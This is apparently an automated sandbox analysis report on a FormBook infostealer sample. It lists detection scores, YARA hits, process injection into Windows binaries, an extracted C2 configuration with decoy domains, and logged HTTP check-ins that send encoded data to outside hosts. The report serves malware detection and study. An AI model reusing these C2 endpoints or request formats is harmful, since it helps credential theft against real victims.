Source: http://www.leathfortexas.com/ao65/?3f94p=ys1nmsb6X1mQM1Jd478oiUQn9vuATHYUt4Dy8pL3kyVIlzOboPcsTdVyW5SVB7hST99gmWn6+w==&ojq4i=mFNh5n78I22D3DgP	Avira URL Cloud: Label: malware
Source: http://www.stellarskyline.com/ao65/	Avira URL Cloud: Label: malware
Source: http://www.canwealljustagree.com/ao65/www.ecofare.xyz	Avira URL Cloud: Label: malware
Source: http://www.leathfortexas.com/ao65/www.ouxodb001.cfd	Avira URL Cloud: Label: malware
Source: http://www.maltsky.net/ao65/	Avira URL Cloud: Label: malware
Source: http://www.thnkotb.com/ao65/www.harmonicod.com	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.hivaom.top/ao65/"], "decoy": ["spins2023.pro", "foodontario.com", "jsnmz.com", "canwealljustagree.com", "shopthedivine.store", "thelakahealth.com", "kuis-raja-borong.website", "hbqc2.com", "optimusvisionlb.com", "urdulatest.com", "akhayarplus.com", "info-antai-service.com", "kermisbedrijfkramer.online", "epansion.com", "gxqingmeng.top", "maltsky.net", "ictwath.com", "sharmafootcare.com", "mycheese.net", "portfoliotestkitchen.com", "gwhi13.cfd", "fuzzybraintrivia.com", "thnkotb.com", "merchdojacat.com", "1techtrendzstore.com", "cnkclaw.net", "xsslm888.com", "musecheng.net", "flowandfield.online", "somdevista.com", "baissm.top", "xn--88-uqi1dtk.com", "cewra.com", "stellarskyline.com", "mbutunerfitness.com", "ssongg13916.cfd", "sprockettrucking.com", "boonts.cfd", "oaistetic.com", "enfejbazi1sjrttrsjegfwafe.click", "you-can-too.com", "chamdiemcchc.com", "mrgdistilling.info", "yptv1.com", "ecofare.xyz", "ouxodb001.cfd", "sdymavillageculturehouse.com", "carbolife.net", "iokgw1.top", "harmonicod.com", "bbpinata.com", "grfngr.design", "colibriinvest.com", "infossphere.space", "glistenbeautylounge.com", "paysprinters.online", "ruhaniiyat.com", "leathfortexas.com", "tuesdayfolder.com", "autoinsurancebound.com", "scwanguan.fun", "darkcreamslivki.xyz", "0qtqg.com", "ycth3hhtkd.asia"]}

Multi AV Scanner detection for submitted file

Source: Fpopgapwdcgvxn.exe	ReversingLabs: Detection: 70%
Source: Fpopgapwdcgvxn.exe	Virustotal: Detection: 69%			Perma Link

Yara detected FormBook

Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.colorcpl.exe.68b0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.colorcpl.exe.65f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4615095340.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4608973113.0000000000710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614531899.00000000065F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614107141.00000000046D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2333009592.0000000014D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387834740.0000000005280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2332347871.0000000014B9A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2387807340.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2317053804.000000007EBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Multi AV Scanner detection for domain / URL

Source: leathfortexas.com	Virustotal: Detection: 10%	Perma Link
Source: www.maltsky.net	Virustotal: Detection: 6%	Perma Link
Source: kermisbedrijfkramer.online	Virustotal: Detection: 8%	Perma Link
Source: stellarskyline.com	Virustotal: Detection: 5%	Perma Link
Source: http://www.canwealljustagree.com/ao65/	Virustotal: Detection: 10%	Perma Link
Source: http://www.leathfortexas.com/ao65/	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Telragab.PIF

ReversingLabs: Detection: 70%

Machine Learning detection for sample

Source: Fpopgapwdcgvxn.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\Telragab.PIF

Joe Sandbox ML: detected

Source: Fpopgapwdcgvxn.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source:	Binary string: chkdsk.pdbGCTL source: colorcpl.exe, 0000000C.00000003.2612449594.0000000002661000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2613913537.0000000004590000.00000040.10000000.00040000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2617872903.0000000000590000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: colorcpl.pdbGCTL source: explorer.exe, 00000005.00000002.4633580692.000000001097F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.0000000004DBF000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4612887516.0000000000A42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: colorcpl.pdb source: explorer.exe, 00000005.00000002.4633580692.000000001097F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.0000000004DBF000.00000004.10000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4612887516.0000000000A42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: Fpopgapwdcgvxn.exe, 00000000.00000002.2320819738.0000000002AE0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000002.2347225090.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2292292192.000000007EC00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: chkdsk.pdb source: colorcpl.exe, 0000000C.00000003.2612449594.0000000002661000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2613913537.0000000004590000.00000040.10000000.00040000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2617872903.0000000000590000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: colorcpl.exe, 00000003.00000003.2320149761.000000000530E000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E79E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2318073446.0000000005151000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2389849761.00000000046CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2387898399.0000000004512000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004A0E000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004870000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2580553834.000000000474F000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E340000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2578529137.0000000004596000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E4DE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2615483603.00000000055AC000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.00000000058FE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.0000000005760000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2613575726.00000000053F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: colorcpl.exe, colorcpl.exe, 00000003.00000003.2320149761.000000000530E000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E79E000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2318073446.0000000005151000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2389849761.00000000046CA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2387898399.0000000004512000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004A0E000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4616342750.0000000004870000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2580553834.000000000474F000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E340000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000003.2578529137.0000000004596000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000C.00000002.2626388526.000000001E4DE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2615483603.00000000055AC000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.00000000058FE000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000002.2618280438.0000000005760000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000D.00000003.2613575726.00000000053F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: colorcpl.exe, 00000003.00000002.2388060963.00000000053F0000.00000040.10000000.00040000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2386689890.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4615286421.0000000000C00000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: colorcpl.exe, 00000003.00000002.2388060963.00000000053F0000.00000040.10000000.00040000.00000000.sdmp, colorcpl.exe, 00000003.00000003.2386689890.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.4615286421.0000000000C00000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: easinvoker.pdbH source: Fpopgapwdcgvxn.exe, 00000000.00000002.2320819738.0000000002AE0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000002.2347225090.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2292292192.000000007EC00000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_032B5C18 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_032B5C18

Source: C:\Windows\SysWOW64\colorcpl.exe

Code function: 4x nop then pop esi

3_2_068C72DC

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 37.97.254.27 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 62.72.50.88 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 156.237.159.158 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.140.89.24 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.247.81.50 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.93.103.39 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 3.33.130.190 80	Jump to behavior

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49747 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49748 -> 34.93.103.39:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49749 -> 104.140.89.24:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49750 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49751 -> 104.247.81.50:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49752 -> 37.97.254.27:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49753 -> 62.72.50.88:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.hivaom.top/ao65/

Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=ys1nmsb6X1mQM1Jd478oiUQn9vuATHYUt4Dy8pL3kyVIlzOboPcsTdVyW5SVB7hST99gmWn6+w==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.leathfortexas.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=Olh8eEjR5IT46fH2PeVd1Lc15fw8Z1PVOirT2eqb4t/bi7TTuO6yJGtOPy5w7PRh9e2z8DbdcQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.optimusvisionlb.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=U+zAKk5GFPF9sXmyHB7CBujsr49+ry/l09LFQEQGSX0L4+hNQ2paLAM2kd/yuXu6AcnnHpW1KQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.maltsky.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=1+k7ryNQzoPRnNssVcxEVGqYVXcpdNYnwR6YaRuf8QIEqfcPbXX6k2BVupn8sj0YeeXTfXT4xQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.thnkotb.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=SIOjWgUx9Sz9T19JihLVHEMNoaK2maww+N41rkYkWun2OwaoSexibxzMqiX45PItRVwWmDJ2nA==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.harmonicod.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.kermisbedrijfkramer.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt+uk8nfyPBl3lilEqIH7Lfnspwggtew==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.stellarskyline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=B3GcozZs3ohtof+Eq3ZwUrCdoNWOjNCPbyllHAjlOtmwH5sozkgIB7xqH4//btWoobo3GMsY9g==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.hivaom.topConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View	ASN Name: TRANSIP-ASAmsterdamtheNetherlandsNL TRANSIP-ASAmsterdamtheNetherlandsNL
Source: Joe Sandbox View	ASN Name: TEAMINTERNET-CA-ASCA TEAMINTERNET-CA-ASCA
Source: Joe Sandbox View	ASN Name: PRTL-DE PRTL-DE

Source: C:\Users\user\Desktop\Fpopgapwdcgvxn.exe

Code function: 0_2_0330BB50 InternetCheckConnectionA,

0_2_0330BB50

Source: Joe Sandbox View

IP Address: 37.97.254.27 37.97.254.27

Source: explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2334366335.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2334366335.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2334366335.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2334366335.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000005.00000000.2334366335.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000005.00000000.2331503846.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2331530357.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.2324920937.00000000028A0000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.1techtrendzstore.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.1techtrendzstore.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.1techtrendzstore.com/ao65/www.kuis-raja-borong.website
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.1techtrendzstore.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.canwealljustagree.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.canwealljustagree.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.canwealljustagree.com/ao65/www.ecofare.xyz
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.canwealljustagree.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecofare.xyz
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecofare.xyz/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecofare.xyz/ao65/www.iokgw1.top
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ecofare.xyzReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.harmonicod.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.harmonicod.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.harmonicod.com/ao65/www.kermisbedrijfkramer.online
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.harmonicod.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hivaom.top
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hivaom.top/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hivaom.top/ao65/www.canwealljustagree.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.hivaom.topReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iokgw1.top
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iokgw1.top/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iokgw1.top/ao65/www.1techtrendzstore.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.iokgw1.topReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kermisbedrijfkramer.online
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kermisbedrijfkramer.online/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kermisbedrijfkramer.online/ao65/www.stellarskyline.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kermisbedrijfkramer.onlineReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kuis-raja-borong.website
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kuis-raja-borong.website/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kuis-raja-borong.website/ao65/www.oaistetic.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.kuis-raja-borong.websiteReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.leathfortexas.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.leathfortexas.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.leathfortexas.com/ao65/www.ouxodb001.cfd
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.leathfortexas.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.maltsky.net
